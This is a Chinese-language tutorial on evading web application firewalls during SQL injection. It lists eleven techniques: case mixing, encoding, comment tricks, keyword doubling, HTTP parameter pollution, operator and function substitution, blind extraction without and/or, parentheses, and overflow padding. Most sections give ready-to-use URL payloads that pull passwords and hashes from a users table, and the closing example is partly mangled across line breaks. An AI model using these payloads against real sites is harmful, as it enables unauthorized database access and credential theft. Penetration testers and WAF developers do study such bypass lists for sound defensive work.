SQL 注入中的 WAF 绕过技术

1.大小写绕过

这个大家都很熟悉，对于一些太垃圾的 WAF 效果显著，比如拦截了 union，那就使用 Union UnIoN 等等绕过。

2.简单编码绕过

比如 WAF 检测关键字，那么我们让他检测不到就可以了。比如检测 union，那么我们就用%55 也就是 U 的 16 进制编码来代替 U，union 写成 %55nION，结合大小写也可以绕过一些 WAF，你可以随意替换一个或几个都可以。

也还有大家在 Mysql 注入中比如表名或是 load 文件的时候，会把文件名或是表明用 16 进制编码来绕过 WAF 都是属于这类。

3.注释绕过

这种情况比较少，适用于 WAF 只是过滤了一次危险的语句，而没有阻断我们的整个查询。

/?id=1+union+select+1,2,3/*

比如对于上面这条查询，WAF 过滤了一次 union 和 select，那么我们在之前在写一个注释的语句，让他把注释里面的过滤掉，并不影响我们的查询。

所以绕过语句就是：

/?id=1/*union*/union/*select*/select+1,2,3/*

还有一种和注释有关的绕过：

比如：

index.php?page_id=-15 /*!UNION*/ /*!SELECT*/ 1,2,3,4...

可以看到，只要我们把敏感词放到注释里面，注意，前面要加一个！

4.分隔重写绕过

还是上面的例子，适用于那种 WAF 采用了正则表达式的情况，会检测所有的敏感字，而不在乎你写在哪里，有几个就过滤几个。

我们可以通过注释分开敏感字,这样 WAF 的正则不起作用了，而带入查询的时候并不影响我们的结果。

/?id=1+un/**/ion+sel/**/ect+1,2,3--

至于重写绕过，适用于 WAF 过滤了一次的情况，和我们上传 aaspsp 马的原理一样，我们可以写出类似 Ununionion 这样的。过滤一次 union 后就会执行我们的查询了。

?id=1 ununionion select 1,2,3--

5.Http 参数污染(HPP)

比如我们有这样的语句：

/?id=1 union select+1,2,3+from+users+where+id=1--

我们可以重复一次前面的 id 值添加我们的值来绕过，&id=会在查询时变成逗号：

/?id=1 union select+1&id=2,3+from+users+where+id=1--

这种情况成功的条件比较多，取决于具体的 WAF 实现。

再给出一个例子说明用法：

/?id=1/**/union/*&id=*/select/*&id=*/pwd/*&id=*/from/*&id=*/users--

具体分析的话就涉及到查询语句的后台代码的编写了。

比如服务器是这样写的：

select * from table where a=".$_GET['a']." and b=".$_GET['b']." limit ".$_GET['c'];

那我们可以构造这样的注入语句：

/?a=1+union/*&b=*/select+1,pass/*&c=*/from+users--

最终解析为：

select * from table where a=1 union/* and b=*/select 1,pass/*limit */from users--

可以看到，这种方式其实比较适合白盒测试，而对于黑盒渗透的话，用起来比较麻烦。但是也可以一试。

6.使用逻辑运算符 or /and 绕过

/?id=1+OR+0x50=0x50

/?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74

顺便解释一下第二句话，从最里面的括号开始分析，

select+pwd+from+users+limit+1,1 这句是从 users 表里查询 pwd 字段的第一条记录，比如是 admin，

然后 mid(上一句),1,1 就是取 admin 的第一个字符，也就是 a，lower(上一句)就是把字符转换为小写，

然后 ascii 就是把 a 转换成 ascii 码，看等不等于 74。

7.比较操作符替换

包括!= 不等于，<>不等于，< 小于，>大于，这些都可以用来替换=来绕过。

比如上一个例子，要判断是不是 74，假设=被过滤，那么我们可以判断是不是大于 73，是不是小于 75，然后就知道是 74 了。。很多 WAF 都会忘了这个。

8.同功能函数替换

Substring()可以用 mid()，substr()这些函数来替换，都是用来取字符串的某一位字符的。

Ascii()编码可以用 hex(),bin(),也就是 16 进制和二进制编码替换。Benchmark()可以用 sleep()来替换，这两个使用在基于延时的盲注中，有机会给大家介绍。

如果连这些都屏蔽了，还有一种新的方法：

substring((select 'password'),1,1) = 0x70

substr((select 'password'),1,1) = 0x70

mid((select 'password'),1,1) = 0x70

比如这三条，都是从 password 里判断第一个字符的值，可以用：

strcmp(left('password',1), 0x69) = 1

strcmp(left('password',1), 0x70) = 0

strcmp(left('password',1), 0x71) = -1

来替换，left 用来取字符串左起 1 位的值，strcmp 用来比较两个值，如果比较结果相等就为 0，左边小的话就为-1，否则为 1。

还有我前几篇说过的 group_concat 和 concat 和 concat_ws 也可以互相替换。

9.盲注无需 or 和 and

比如有这样一个注入点：

index.php?uid=123

and、or 被过滤了，其实有一种更直接的方法，我们直接修改 123 为我们的语句生成的：

index.php?uid=strcmp(left((select+hash+from+users+limit+0,1),1), 0x42)+123

123 的时候页面是正确的，我们现在在盲猜 hash 的第一位，如果第一位等于 0x42 也就是 B，那么 strcmp 结果为 0，0+123=123，所以页面应该是正确的。否则就说明不是 B，就这样猜，不用 and 和 or 了。

10.加括号

/?id=1+union+(select+1,2+from+users)

比如，上面这一条被 WAF 拦截了。可以试试加一些括号：

/?id=1+union+(select+1,2+from+xxx)

/?id=(1)union(select(1),mid(hash,1,32)from(users))

/?id=1+union+(select'1',concat(login,hash)from+users)

/?id=(1)union(((((((select(1),hex(hash)from(users)))))))

/?id=(1)or(0x50=0x50)

11.缓冲区溢出绕过

id=1 and (select 1)

=(Select

0xAAAAAAAAAAAAAAAAAAAA)+UnIoN+SeLeCT+1,2,version(),4,5,dat

abase(),user(),

8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26

02.,27,28,29,30,31,32,33,34,35,36–+

其中 0xAAAAAAAAAAAAAAAAAAAA 这里 A 越多越好，一般要求 1000 个以上